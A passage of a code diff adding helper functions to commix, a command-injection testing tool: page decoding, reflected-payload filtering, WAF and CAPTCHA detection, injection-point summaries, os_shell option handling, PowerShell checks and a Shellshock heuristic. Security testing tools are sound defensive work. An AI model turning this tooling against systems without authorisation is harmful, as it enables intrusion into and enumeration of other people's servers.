+ try:
+ response.close()
+ except Exception:
+ pass
+ # Read as text the one way every page is read: decompressed, in the charset the page and its
+ # header agree on, with what a browser would resolve already resolved.
+ if action != "encode":
+ return decode_page_body(page, response, percent_decode=not settings.CRAWLING, guard=guard)
+
+ page = decompress_page(page, content_encoding)
+
+ # Encode page content, in what the page said it is written in - unless the user named a codec of
+ # their own with '--codec', which outranks whatever the page declares.
+ chosen = settings.DEFAULT_CODEC if menu.options.codec else (settings.DEFAULT_PAGE_ENCODING or settings.DEFAULT_CODEC)
+ error_occurred = False
+ err_msg = ""
+ """
+ What the page declares is a claim, and a claim can be wrong.
+
+ The codec commix was configured with is not a claim, so a failure there is worth stopping for -
+ but a page that names an encoding it does not honour is the target's mistake, and reading it the
+ configured way is a better answer than abandoning the run over it.
+ """
+ for codec in (chosen, settings.DEFAULT_CODEC):
+ try:
+ if action == "encode" and isinstance(page, str):
+ return page.encode(codec, errors="replace")
+ else:
+ return page.decode(codec)
+ except (UnicodeEncodeError, UnicodeDecodeError) as err:
+ err_msg = "The " + str(err).split(":")[0] + ". "
+ except (LookupError, TypeError) as err:
+ err_msg = "The '" + str(codec) + "' is " + str(err).split(":")[0] + ". "
+ if codec == settings.DEFAULT_CODEC:
+ error_occurred = True
+ break
+
+ """
+ A page none of the encodings could read is still the target's own bytes, so they are written out
+ rather than given up on - the same last resort the body read for its text falls back on. Read with
+ a replacement character instead, what a command printed stopped being what the target sent.
+ """
+ if isinstance(page, bytes):
+ try:
+ return page.decode(settings.DEFAULT_CODEC, errors=settings.UNREADABLE_BYTE_HANDLER)
+ except (LookupError, TypeError):
+ pass
+
+ # If there was an error, advise the user
+ if error_occurred:
+ err_msg += "Re-run with"
+ if menu.options.codec is None:
+ err_msg += "out"
+ err_msg += " option '--codec'."
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+
+"""
+The payload as a pattern that still matches what the target made of it.
+
+Its alphanumeric runs are kept as they are and whatever sat between them is left open, because that
+is the part a target rewrites: a space arriving as '+', a character escaped on the way back, a
+filter that upper-cased what it passed on. The runs themselves are what the payload is recognised
+by. Nothing is built from a payload with no such run - an open pattern alone matches every page at
+every position, and would take the page out rather than the reflection in it.
+"""
+def reflection_pattern(payload):
+ parts = [re.escape(part) for part in re.split(r"[^A-Za-z0-9]+", payload) if part]
+ if not parts:
+ return None
+ if len(parts) > settings.REFLECTED_MAX_PATTERN_PARTS:
+ half = settings.REFLECTED_MAX_PATTERN_PARTS // 2
+ parts = parts[:half] + parts[-half:]
+ return settings.REFLECTED_GAP_REGEX.join(parts)
+
+"""
+A value given as an escape, as the character it stands for.
+
+A newline or a tab cannot be put into an option on most shells without the shell eating it first, so
+it is written "\\n" - two characters, which no request data holds, leaving the delimiter unused and
+the parameters it was meant to split reported as absent instead.
+
+Read left to right in one pass, so an escaped backslash shields what follows rather than being
+decoded a second time, and with nothing but the whitespace escapes in the mapping: a NUL or a
+non-ASCII byte in a value is the byte it is, not an escape to be rewritten.
+"""
+def decode_string_escape(value):
+ if not value or "\\" not in value:
+ return value
+ mapping = dict((repr(_).strip("'"), _) for _ in string.whitespace.replace(settings.SINGLE_WHITESPACE, ""))
+ mapping["\\\\"] = "\\"
+ return re.sub("|".join(re.escape(_) for _ in ["\\\\"] + list(mapping)), lambda match: mapping[match.group(0)], value)
+
+"""
+Ignore payload reflections so they cannot trigger a false positive.
+
+A page carrying the payload back differs from one that does not by the payload, whatever the command
+did - so a technique reading an answer off two pages would be reading the reflection as well as the
+answer. Taken out of both, and replaced by a marker rather than by what it replaces, so two payloads
+of unequal length leave pages of equal length behind them.
+"""
+def remove_reflected_values(html_data, payload):
+ if not payload or not html_data:
+ return html_data
+ decoded_payload = _urllib.parse.unquote_plus(payload)
+ filtered = html_data
+ # The payload exactly as it went out, which is the common case and costs one scan of the page.
+ if decoded_payload and decoded_payload in filtered:
+ filtered = filtered.replace(decoded_payload, settings.REFLECTED_VALUE_MARKER)
+ # Then the payload as the target may have rewritten it, which only a pattern can find.
+ if filtered == html_data:
+ pattern = reflection_pattern(decoded_payload)
+ if pattern:
+ # Taken only where what matched is the length of a reflection rather than of a paragraph.
+ cap = len(decoded_payload) * settings.REFLECTED_MAX_LENGTH_FACTOR + settings.REFLECTED_LENGTH_ALLOWANCE
+ def _bounded(match):
+ return settings.REFLECTED_VALUE_MARKER if len(match.group(0)) <= cap else match.group(0)
+ try:
+ filtered = re.sub("(?i)" + pattern, _bounded, filtered)
+ except Exception:
+ filtered = html_data
+ if filtered != html_data and not settings.REFLECTIVE_VALUE_FOUND:
+ settings.REFLECTIVE_VALUE_FOUND = True
+ warn_msg = "The response appears to reflect the target parameter value(s). Filtering reflected content."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ return filtered
+
+"""
+Returns header value ignoring the letter case
+"""
+def get_header(headers, key):
+ value = None
+ for name in (headers or {}):
+ if name.upper() == key.upper():
+ value = headers[name]
+ break
+ return value
+
+"""
+The shell or interpreter error a page is reporting, where it is reporting one.
+"""
+def extract_error_message(page):
+ if not isinstance(page, str) or not any(hint in page for hint in settings.SHELL_ERROR_HINTS):
+ return None
+ try:
+ import html
+ unescape = html.unescape
+ except ImportError:
+ unescape = _html_parser.HTMLParser().unescape
+ # The markup a message is wrapped in is the page's, not the shell's - and a message split across
+ # tags is one the shell wrote in one piece. Lines are left alone, so the regexes stay within one.
+ page = re.sub(r"[^\S\n]+", settings.SINGLE_WHITESPACE, re.sub(r"<[^>]{0,128}>", settings.SINGLE_WHITESPACE, unescape(page)))
+ for regex in settings.SHELL_ERROR_REGEXES:
+ match = re.search(regex, page)
+ if match:
+ candidate = match.group("result").strip().rstrip(".")
+ if candidate:
+ return candidate
+ return None
+
+"""
+Say what the target answered with, where it answered with a shell or interpreter error.
+
+Evidence that the payload reached a shell and was not understood there, which is a different answer
+from a parameter that never reached one - and the run it belongs to is the one that ends "not
+injectable" while a different separator would have worked.
+"""
+def parse_errors(page):
+ message = extract_error_message(page)
+ if message is None:
+ return
+ settings.SHELL_ERROR_SEEN = True
+ if not menu.options.parse_errors or message in settings.PARSED_ERRORS:
+ return
+ settings.PARSED_ERRORS.add(message)
+ warn_msg = "Parsed error message from the target's response: '" + message + "'."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+
+"""
+Appends the WAF/CDN product name identified in 'page' (if any) to a warning message that already
+ends in '.', as " ('')." in its place - unidentified, the message is left as it stands.
+"""
+def _name_waf_in(message, page):
+ waf_name = settings.WAF_IDENTIFIED or identify_waf_in_text(page)
+ if waf_name:
+ settings.WAF_IDENTIFIED = waf_name
+ message = message[:-1] + " ('" + waf_name + "')."
+ return message
+
+"""
+Checks regarding a recognition of generic "your ip has been blocked" messages.
+"""
+def blocked_ip(page):
+ if not settings.BLOCKED_IP_DETECTED and re.search(settings.BLOCKED_IP_REGEX, page):
+ settings.BLOCKED_IP_DETECTED = True
+ settings.WAF_ENABLED = True
+ persist_waf_finding()
+ warn_msg = _name_waf_in("It appears the target server has blocked you.", page)
+ settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg))
+
+"""
+Checks regarding a potential browser verification protection mechanism.
+"""
+def browser_verification(page):
+ if not settings.BROWSER_VERIFICATION and re.search(r"(?i)browser.?verification", page or ""):
+ settings.BROWSER_VERIFICATION = True
+ settings.WAF_ENABLED = True
+ persist_waf_finding()
+ warn_msg = _name_waf_in("Potential browser verification protection mechanism detected.", page)
+ settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg))
+
+"""
+Checks regarding a potential CAPTCHA protection mechanism.
+"""
+def captcha_check(page):
+ if not settings.CAPTCHA_DETECED and re.search(r"(?i)captcha", page or ""):
+ for match in re.finditer(r"(?si)", page):
+ if re.search(r"(?i)captcha", match.group(0)):
+ settings.CAPTCHA_DETECED = True
+ settings.WAF_ENABLED = True
+ persist_waf_finding()
+ warn_msg = _name_waf_in("Potential CAPTCHA protection mechanism detected.", page)
+ if settings.CRAWLING:
+ settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
+ settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg))
+ break
+
+"""
+Checking the reliability of the used payload message.
+"""
+def check_for_false_positive_result(false_positive_warning):
+ # The search that was counting itself off in dots has just found what it was looking for, so its
+ # line is finished - said so, rather than left hanging while the next line reports the finding.
+ if settings.PROGRESS_LINE_OPEN:
+ settings.print_data_to_stdout(" (done)")
+ info_msg = "Identified a potential injection point on "
+ info_msg += settings.CHECKING_PARAMETER + "."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ info_msg = "Testing" + (" with a longer delay to rule out noise" if false_positive_warning else "")
+ info_msg += " if the injection point is a false positive"
+ if settings.VERBOSITY_LEVEL != 0:
+ info_msg = info_msg + "." + settings.END_LINE.LF
+ else:
+ info_msg = info_msg +", please wait..."
+ settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg))
+
+"""
+False positive or unexploitable injection point detected.
+"""
+def unexploitable_point(retry_attempt=None, retry_total=None):
+ if settings.VERBOSITY_LEVEL == 0:
+ settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
+ warn_msg = "Detected a false positive or unexploitable injection point. Trying for re-verification"
+ warn_msg += (" (" + str(retry_attempt) + "/" + str(retry_total) + ").") if retry_attempt else "."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+
+"""
+Url decode specific chars of the provided payload.
+"""
+def url_decode(payload):
+ rep = {
+ "%20": " ",
+ "%2B": "+",
+ settings.END_LINE.LF: settings.END_LINE.ESCAPED_LF
+ }
+ rep = dict((re.escape(k), v) for k, v in rep.items())
+ pattern = re.compile("|".join(rep.keys()))
+ payload = pattern.sub(lambda m: rep[re.escape(m.group(0))], payload)
+ return payload
+
+"""
+Check current assessment phase.
+"""
+def assessment_phase():
+ if settings.DETECTION_PHASE:
+ if settings.CRAWLING_PHASE:
+ return "crawling"
+ else:
+ return "detection"
+ else:
+ return "exploitation"
+
+"""
+Fix single / double quote escaping.
+"""
+def escaped_cmd(cmd):
+ if "\\\"" in cmd :
+ cmd = cmd.replace("\\\"","\"")
+ if r"\'" in cmd :
+ cmd = cmd.replace(r"\'","'")
+ if r"\$" in cmd :
+ cmd = cmd.replace(r"\$","$")
+ return cmd
+
+"""
+Escape only the "$" sitting outside single quotes - single-quoted interpreter code (php -r '...', perl -e '...') is
+already literal in both a shell and PHP, so a backslash there reaches the interpreter as a syntax error instead.
+"""
+def escape_unquoted_dollars(payload):
+ escaped = []
+ inside_single_quotes = False
+ for char in payload:
+ if char == "'":
+ inside_single_quotes = not inside_single_quotes
+ if char == "$" and not inside_single_quotes:
+ escaped.append("\\")
+ escaped.append(char)
+ return "".join(escaped)
+
+"""
+Removing the first and/or last line of the html content (in case there are/is empty).
+"""
+def remove_empty_lines(content):
+ # The empty lines themselves, and nothing else: the last line is not the text behind the last
+ # newline, which searching for one carried off with it - a body holding a single newline was
+ # emptied outright, and one not ending in a newline lost its closing line.
+ if content.startswith(settings.END_LINE.LF):
+ content = content[1:]
+ if content.endswith(settings.END_LINE.LF):
+ content = content[:-1]
+ return content
+
+"""
+Build the vulnerability or session-resume message for a confirmed parameter.
+"""
+def vulnerable_message(url):
+ message = ""
+ if settings.LOAD_SESSION:
+ message = "Resumed "
+ message += settings.CHECKING_PARAMETER
+ if settings.LOAD_SESSION:
+ message += " injection point from stored session"
+ else:
+ message += " is vulnerable"
+ message += "."
+ if settings.CRAWLING:
+ settings.CRAWLED_URLS_INJECTED.append(_urllib.parse.urlparse(url).netloc)
+ return message
+
+"""
+Ask to keep testing others after a confirmed finding - True means stop (quit/break).
+"""
+def prompt_keep_testing(url):
+ message = vulnerable_message(url) + " Do you want to keep testing the others (if any)? [y/N] "
+ procced_option = common.read_input(message, default="N", check_batch=True)
+ return procced_option in settings.CHOICE_NO
+
+"""
+Reduce a technique name to its bare name for the summary block's "Technique:" line -
+drops the "command injection"/"injection" filler word and the trailing "technique" word.
+"""
+def summary_technique_label(technique):
+ label = short_technique_label(technique)
+ if label.endswith(" technique"):
+ label = label[:-len(" technique")]
+ label = label[0].upper() + label[1:]
+ if technique == settings.INJECTION_TECHNIQUE.OOB and oob_channel_label():
+ label += " (" + oob_channel_label() + ")"
+ return label
+
+"""
+Name the channel an out-of-band finding came back over - a name lookup, or an HTTP(S) request.
+"""
+def oob_channel_label(transport=None):
+ transport = transport or settings.OOB_TRANSPORT
+ if not transport:
+ return ""
+ if transport == "dns":
+ return "DNS"
+ return (settings.OOB_SCHEME or "https").upper()
+
+"""
+Name the boundary combination a finding was confirmed with - logged, not printed.
+"""
+def finding_title(separator, whitespace, prefix, suffix):
+ parts = []
+ if separator:
+ parts.append("'" + separator + "' separator")
+ if whitespace:
+ parts.append("'" + whitespace + "' whitespace")
+ if prefix:
+ parts.append("prefix '" + prefix + "'")
+ if suffix:
+ parts.append("suffix '" + suffix + "'")
+ return ", ".join(parts)
+
+"""
+The detail lines of a summary block - shared by the console summary and the log file.
+"""
+def finding_summary_lines(technique, injection_type, payload, title=None):
+ lines = [settings.SUB_CONTENT_SIGN_TYPE + "Technique: " + summary_technique_label(technique),
+ settings.SUB_CONTENT_SIGN_TYPE + "Type: " + injection_type[0].upper() + injection_type[1:]]
+ if title:
+ lines.append(settings.SUB_CONTENT_SIGN_TYPE + "Boundary: " + title)
+ # Shown the way every other payload in the run is shown, so the two never read as two payloads.
+ lines.append(settings.SUB_CONTENT_SIGN_TYPE + "Payload: " + settings.rendered_payload(payload))
+ return lines
+
+"""
+The parameter header line of a summary block.
+"""
+def finding_parameter_line(vuln_parameter, http_request_method):
+ return settings.SUB_CONTENT_SIGN + "Parameter: " + vuln_parameter + " (" + http_request_method + ")"
+
+"""
+Print one block per row, grouped by parameter - rows start with
+(technique, injection_type, vuln_parameter, payload, http_request_method).
+"""
+"""
+What the target was worked out to be, said once and where the findings are.
+
+Only what is already in hand: every line here was settled by the requests detection had to send
+anyway - the banners came back with the first response, and which shell answered is what a payload
+that executed established. So nothing is asked of the target for it, and a line whose answer was
+never learned is left out rather than filled in with a guess.
+"""
+def target_fingerprint_summary():
+ # What the payloads were written for, and the one line of the three that a finding proves rather
+ # than a banner claims - so it leads, the way the rest of the run reports what it established.
+ technology = []
+ if settings.SERVER_BANNER:
+ technology.append(" ".join(filter(None, (settings.SERVER_BANNER.split("/")[0], settings.SERVER_VERSION))))
+ if settings.TARGET_APPLICATION:
+ technology.append(" ".join(filter(None, (settings.TARGET_APPLICATION, settings.TARGET_APPLICATION_VERSION))))
+ shell_identified = settings.IDENTIFIED_TARGET_OS or menu.options.os
+ # The operating system is left to the enumeration that asks the target for it by name - said here
+ # it would only be the coarser of two answers to the same question.
+ if not technology and not shell_identified:
+ return
+
+ settings.print_data_to_stdout(
+ settings.print_info_msg("Fetching the target environment.")
+ )
+ if technology:
+ settings.print_data_to_stdout(settings.print_retrieved_data("Web application technology", ", ".join(technology)))
+ if shell_identified:
+ settings.print_data_to_stdout(settings.print_retrieved_data("Command shell type", target_shell_label()))
+
+"""
+A payload written out with the parameter's own value at the front of it.
+
+Where the sink turned out not to need that value, it was stood in for by three random letters in
+every request built after that, and the payloads kept here carry the stand-in. What this format is
+modelled on writes the parameter's value into the line it prints, and a reader copying the line out
+wants the value the target was given - which the sink ignores either way, since not needing it is
+why it was dropped. Only the one at the front is rewritten; anything further in belongs to the
+payload itself.
+
+A tamper script rewrites the stand-in along with everything else it is given, so the three letters
+are no longer there to be found - and the payload would be written out carrying them while an
+untampered one is written out carrying the value, which is the difference this is here to remove.
+Putting the same scripts over the stand-in on its own says what they made of it, and what they make
+of the real value goes back in its place. A script that reads more of a payload than the part it
+rewrites leaves the two unable to line up, and the payload is then left as it is rather than
+guessed at.
+"""
+def payload_with_own_value(payload):
+ payload = str(payload)
+ original, placeholder = settings.TESTABLE_VALUE_STOOD_IN_FOR, settings.TESTABLE_VALUE
+ if not original or not placeholder or original == placeholder:
+ return payload
+ if payload.startswith(placeholder):
+ return original + payload[len(placeholder):]
+ if not settings.MULTI_ENCODED_PAYLOAD:
+ return payload
+ # The scripts are handed a value rather than a payload here, so what they record about the last
+ # one they rewrote is put back - nothing else is meant to read this as a payload that was sent.
+ raw_payload = settings.RAW_PAYLOAD
+ try:
+ stood_in = perform_payload_modification(placeholder)
+ if stood_in != placeholder and payload.startswith(stood_in):
+ return perform_payload_modification(original) + payload[len(stood_in):]
+ except Exception:
+ pass
+ finally:
+ settings.RAW_PAYLOAD = raw_payload
+ return payload
+
+"""
+The payload as it went out, rather than as the technique built it.
+
+A script that rewrites the payload's own text does so on the way to the target, so what the
+technique still holds afterwards is the form from before it - and a finding reported in that form
+names a payload the target refused. 'dashlesstest' is the plain case: the request carried
+'[ ${#V} = 6 ]' and the summary printed the '-eq' that target rejects.
+
+Looked up rather than worked out again. Running the scripts a second time over the same payload
+answers for the ones that rewrite it the same way every time and invents a payload for the rest -
+'uninitializedvariable' puts its empty variable in at positions it draws at random, so a second
+pass writes something that was never sent, which is the very thing this is here to stop.
+
+The latest rewrite of a payload is the one kept, since that is the request the finding was printed
+behind. A script drawing afresh on every request writes the same payload out differently each time
+it goes - 'space2randomblank' picks among its blanks per occurrence - so for those the form shown
+is one of the requests that were really made rather than the single one that proved it.
+"""
+def note_payload_as_sent(payload_of_record, sent):
+ if payload_of_record == sent:
+ return
+ if len(settings.PAYLOADS_AS_SENT) > settings.MAX_PAYLOADS_AS_SENT:
+ settings.PAYLOADS_AS_SENT.clear()
+ settings.PAYLOADS_AS_SENT[payload_of_record] = sent
+
+def payload_as_sent(payload):
+ return settings.PAYLOADS_AS_SENT.get(payload, payload)
+
+def _injection_points_summary(header_msg, rows, decode_payload=False):
+ settings.print_data_to_stdout(header_msg)
+ prev_parameter = None
+ for index, row in enumerate(rows):
+ if index > 0:
+ settings.print_data_to_stdout("")
+ technique, injection_type, vuln_parameter, payload, http_request_method = row[:5]
+ current_parameter = (vuln_parameter, http_request_method)
+ if current_parameter != prev_parameter:
+ settings.print_data_to_stdout(finding_parameter_line(vuln_parameter, http_request_method))
+ prev_parameter = current_parameter
+ # A row read back from a stored session holds the payload as the technique built it. Where this
+ # run sent it, that is what is shown; where it was another run's, nothing here knows what the
+ # scripts made of it then, and the payload stands as recorded rather than being guessed at. One
+ # confirmed this run had the value settled as it was recorded, while the parameter it was found
+ # on was still the one being tested - by the time this prints, another parameter's own value is
+ # what is on record, and a second rewrite here would read the wrong one back.
+ if decode_payload:
+ payload = payload_with_own_value(payload_as_sent(str(url_decode(payload))))
+ for line in finding_summary_lines(technique, injection_type, payload):
+ settings.print_data_to_stdout(line)
+ """
+ Said under the payloads it explains, for a reader following how they were built.
+
+ Where the parameter's own value turns out not to be needed, it is dropped from every request built
+ after that point - so a payload found before it carries the real value and one found after carries
+ the short random one that stands in, and the two sit side by side here with nothing to say why
+ they differ. It is about how the run went rather than about the target, so it is said where the
+ rest of that is said.
+ """
+ if settings.TESTABLE_VALUE_OPTIMIZED and settings.TESTABLE_VALUE and settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "The parameter's own value was not required to reach the sink, so the requests "
+ debug_msg += "carried '" + settings.TESTABLE_VALUE + "' in its place."
+ settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
+ target_fingerprint_summary()
+
+"""
+Print a summary of the injection points restored from a stored session.
+"""
+def resumed_injection_points_summary(rows):
+ # Stored payloads are url-encoded, unlike the ones held in memory this run.
+ _injection_points_summary("Resumed the following injection point(s) from stored session:", rows, decode_payload=True)
+ announce_stale_session()
+
+"""
+Said where what was just shown was read back rather than found.
+
+Nothing above it was sent to the target this run, so how old the file it came out of is, is the
+only thing that says how much of it still holds - a target that was patched a month ago answers
+the same stored finding as one that was not. Read off that file, the way the age of the install
+itself is read off its own.
+"""
+def announce_stale_session():
+ days = settings.SESSION_FILE_AGE_DAYS
+ if days is None or days < settings.STALE_SESSION_DAYS:
+ return
+ warn_msg = "What is above was read back from a session file last written to " + str(days)
+ warn_msg += " days ago, so it may no longer hold. Re-run with the '--flush-session' switch to "
+ warn_msg += "test again, or '--ignore-session' to leave what is stored out of it."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+
+"""
+Print a summary of every injection point confirmed this run, deferred until quit() (one block per technique).
+"""
+def confirmed_injection_points_summary():
+ rows = settings.CONFIRMED_INJECTION_POINTS
+ # The last row's snapshot of the running total is the total for the whole run, since the counter
+ # only grows - so this reads right whether one technique was confirmed or several.
+ header_msg = "Identified the following injection point(s) with a total of " + str(rows[-1][5]) + " HTTP(S) requests:"
+ _injection_points_summary(header_msg, rows)
+
+"""
+Check 'os_shell' options
+"""
+def check_os_shell_options(cmd, filename, url):
+ if cmd in settings.SHELL_OPTIONS or cmd.split(" ", 1)[0] in ("use", "download", "upload"):
+ if cmd == "?":
+ menu.os_shell_options()
+ elif cmd == "back":
+ # Shell opens only after detection - nothing to go back to.
+ quit(filename, url, hard_exit=True)
+ else:
+ return cmd
+
+"""
+Procced with file-based blind command injection technique,
+once the user provides the path of web server's root directory.
+"""
+def procced_with_file_based_technique():
+ while True:
+ message = "Due to the provided '--web-root' option, "
+ message += "do you want to proceed with the (blind) "
+ message += "file-based injection technique? [y/N] "
+ enable_fb = common.read_input(message, default="N", check_batch=True)
+ if enable_fb in settings.CHOICE_YES:
+ return True
+ elif enable_fb in settings.CHOICE_NO:
+ return False
+ elif enable_fb in settings.CHOICE_QUIT:
+ raise SystemExit()
+ else:
+ common.invalid_option(enable_fb)
+ pass
+
+"""
+Map a TCP mode's returned option to an action: 0 stay, 1 back, 2 os_shell, 3 the other mode.
+"""
+def check_tcp_mode_result(option, other_mode):
+ if option is False:
+ return 0
+ elif option == "back":
+ return 1
+ elif option == "os_shell":
+ return 2
+ elif option == other_mode:
+ return 3
+
+"""
+An HTTP error code together with the reason phrase the server sent with it, where it sent one.
+"""
+def http_error_code_label(code, err=None):
+ reason = str(getattr(err, "reason", "") or "").strip()
+ return str(code) + (" " + reason if reason else "")
+
+"""
+Whether a value is written out of nothing but digits.
+
+Asked with a pattern rather than with 'str.isdigit()', which answers for every character Unicode
+calls a digit - a superscript two among them - and so reads a value no shell would take for a
+number as one, ordering the boundaries that are tried first off it.
+"""
+def is_digit(value):
+ return re.search(r"\A[0-9]+\Z", value or "") is not None
+
+"""
+Whether an HTTP error code is one the user chose to ignore, with '--ignore-code'.
+"""
+def ignored_http_error_code(code):
+ try:
+ return int(code) in [int(_) for _ in settings.IGNORE_CODE]
+ except (TypeError, ValueError):
+ return False
+
+"""
+Stop spending the phases behind this check on a target that has already answered that it cannot
+serve them. One place for every reason a target is unusable, so a new reason is a call rather than
+a special case of its own further down.
+"""
+def target_unusable(reason, advice=""):
+ settings.TARGET_UNUSABLE = True
+ err_msg = reason
+ if advice:
+ err_msg += settings.SINGLE_WHITESPACE + advice
+ # One bad target must not end a run that has others waiting.
+ if settings.MULTI_TARGETS or settings.CRAWLING:
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg + " Skipping to the next target."))
+ return False
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+
+"""
+A target whose first answer is '404' is a wrong URL far more often than a finding, so the run stops
+to let it be corrected - asked once, and never in the middle of testing.
+"""
+def page_not_found(err=None):
+ if settings.IGNORE_NOT_FOUND or settings.NOT_FOUND_PROMPTED:
+ return settings.IGNORE_NOT_FOUND
+ settings.NOT_FOUND_PROMPTED = True
+ err_msg = "Page not found (" + settings.NOT_FOUND_ERROR + ")."
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ if settings.MULTI_TARGETS or settings.CRAWLING:
+ settings.TARGET_UNUSABLE = True
+ return False
+ message = "It is not recommended to continue in this kind of cases. "
+ message += "Do you want to quit and make sure that everything is set up properly? [Y/n] "
+ if common.read_input(message, default="Y", check_batch=True) not in settings.CHOICE_NO:
+ raise SystemExit(settings.EXIT_FAILURE)
+ settings.IGNORE_NOT_FOUND = True
+ return True
+
+"""
+Ignore the error and continue testing; the choice is remembered for this code.
+"""
+def continue_tests(err):
+ # Ignoring (problematic) HTTP error codes.
+ if ignored_http_error_code(getattr(err, "code", None)):
+ return True
+
+ # Possible WAF/IPS
+ try:
+ detect_waf(err)
+ if int(err.code) not in settings.WARNED_HTTP_ERROR_CODES:
+ warn_msg = "The web server responded with an HTTP error code '" + http_error_code_label(err.code, err)
+ warn_msg += "' which could interfere with the results of the tests."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ settings.WARNED_HTTP_ERROR_CODES.add(int(err.code))
+ return True
+ except AttributeError:
+ # No HTTP code (e.g. connection reset) - retry a bounded number of times.
+ if stability.should_retry_connection_error(err):
+ return True
+ settings.print_data_to_stdout(settings.print_critical_msg(err))
+ return False
+ except KeyboardInterrupt:
+ raise
+
+"""
+The options a Windows target cannot serve, already reported.
+"""
+UNAVAILABLE_OPTIONS = set()
+
+"""
+Check if option is unavailable
+"""
+def unavailable_option(check_option):
+ # Reported once, wherever it was first said - the users enumeration says it in passing.
+ if check_option in UNAVAILABLE_OPTIONS:
+ return
+ UNAVAILABLE_OPTIONS.add(check_option)
+ warn_msg = "The option '" + check_option + "' "
+ warn_msg += "is currently not supported on Windows targets."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+
+"""
+No permission to list the target's users - said together with the password enumeration that a
+Windows target cannot serve either, so the two do not take a line each.
+"""
+def no_user_enumeration_permission():
+ warn_msg = "It seems you do not have permission to enumerate operating system users"
+ if settings.TARGET_OS == settings.OS.WINDOWS and menu.options.passwords:
+ warn_msg += ", and the switch '--passwords' is not supported on Windows targets"
+ UNAVAILABLE_OPTIONS.add("--passwords")
+ warn_msg += "."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+
+"""
+Information message if platform does not have
+GNU 'readline' module installed.
+"""
+def no_readline_module():
+ warn_msg = "It seems your platform does "
+ warn_msg += "not have GNU 'readline' module installed."
+ if settings.IS_WINDOWS:
+ warn_msg += " Download the 'pyreadline' package (https://pypi.python.org/pypi/pyreadline) or the 'pyreadline3' package (https://pypi.python.org/pypi/pyreadline3) instead."
+ elif settings.PLATFORM == "mac":
+ warn_msg += " Download the 'gnureadline' package (https://pypi.python.org/pypi/gnureadline)."
+ else:
+ # Everywhere else it ships with Python itself, so a missing one is the interpreter's own
+ # packaging rather than something to go and fetch from an index.
+ warn_msg += " It normally comes with Python, so install the package your distribution keeps it in (e.g. 'python3-readline'), or the 'gnureadline' package (https://pypi.python.org/pypi/gnureadline)."
+ warn_msg += " Without it there is no tab completion and no command history."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+
+"""
+Check for incompatible OS (i.e. Unix).
+"""
+def ps_incompatible_os():
+ if not settings.TARGET_OS == settings.OS.WINDOWS:
+ warn_msg = "The identified OS seems incompatible with the provided '--ps-version' switch."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ return True
+
+"""
+Check if PowerShell is enabled.
+"""
+def ps_check():
+ if settings.PS_ENABLED is None and (menu.options.is_admin or menu.options.users or menu.options.passwords):
+ if settings.VERBOSITY_LEVEL != 0:
+ settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
+ while True:
+ message = "Some payloads in the selected options require PowerShell. "
+ message += "Do you want to use the '--ps-version' flag "
+ message += "to ensure it is enabled? [Y/n] "
+ ps_check = common.read_input(message, default="Y", check_batch=True)
+ if ps_check in settings.CHOICE_YES:
+ menu.options.ps_version = True
+ break
+ elif ps_check in settings.CHOICE_NO:
+ break
+ elif ps_check in settings.CHOICE_QUIT:
+ raise SystemExit()
+ else:
+ common.invalid_option(ps_check)
+ pass
+
+"""
+If PowerShell is disabled.
+"""
+def ps_check_failed():
+ while True:
+ message = "Do you want to proceed despite the above warning? [Y/n] "
+ ps_check = common.read_input(message, default="Y", check_batch=True)
+ if ps_check in settings.CHOICE_YES:
+ break
+ elif ps_check in settings.CHOICE_NO:
+ settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
+ os._exit(0)
+ else:
+ common.invalid_option(ps_check)
+ pass
+
+"""
+Perform basic heuristic checks for CGI scripts potentially vulnerable to Shellshock.
+"""
+def check_CGI_scripts(url):
+ # Named by the user, the module is on already and this is not here to take it back: the list read
+ # below is what commix knows of, not what the target serves, so a path missing from it is no
+ # reason to drop what '--module' asked for.
+ if "shellshock" in settings.USER_APPLIED_MODULE:
+ return
+
+ if settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "Checking the target URL for known CGI scripts."
+ settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
+
+ CGI_SCRIPTS = common.load_list_from_file(settings.CGI_SCRIPTS, "CGI scripts list")
+
+ script_found = False
+ for cgi_script in CGI_SCRIPTS:
+ if cgi_script in url:
+ from src.utils import session_handler
+ if session_handler.has_stored_shellshock(url):
+ # Already confirmed - the resumed summary says so.
+ menu.options.shellshock = True
+ return
+
+ info_msg = "Heuristic (basic) test shows that target URL might be vulnerable to Shellshock "
+ info_msg += "(detected script: '" + cgi_script + "')."
+ script_found = True
+ settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg))
+
+ while True:
+ message = "Do you want to test for the Shellshock vulnerability, using the 'shellshock' module? [Y/n] "
+ shellshock_check = common.read_input(message, default="Y", check_batch=True)
+ if shellshock_check in settings.CHOICE_YES:
+ menu.options.shellshock = True
+ return
+ elif shellshock_check in settings.CHOICE_NO:
+ menu.options.shellshock = False
+ return
+ elif shellshock_check in settings.CHOICE_QUIT:
+ raise SystemExit()
+ else:
+ common.invalid_option(shellshock_check)
+ pass
+
+ if not script_found:
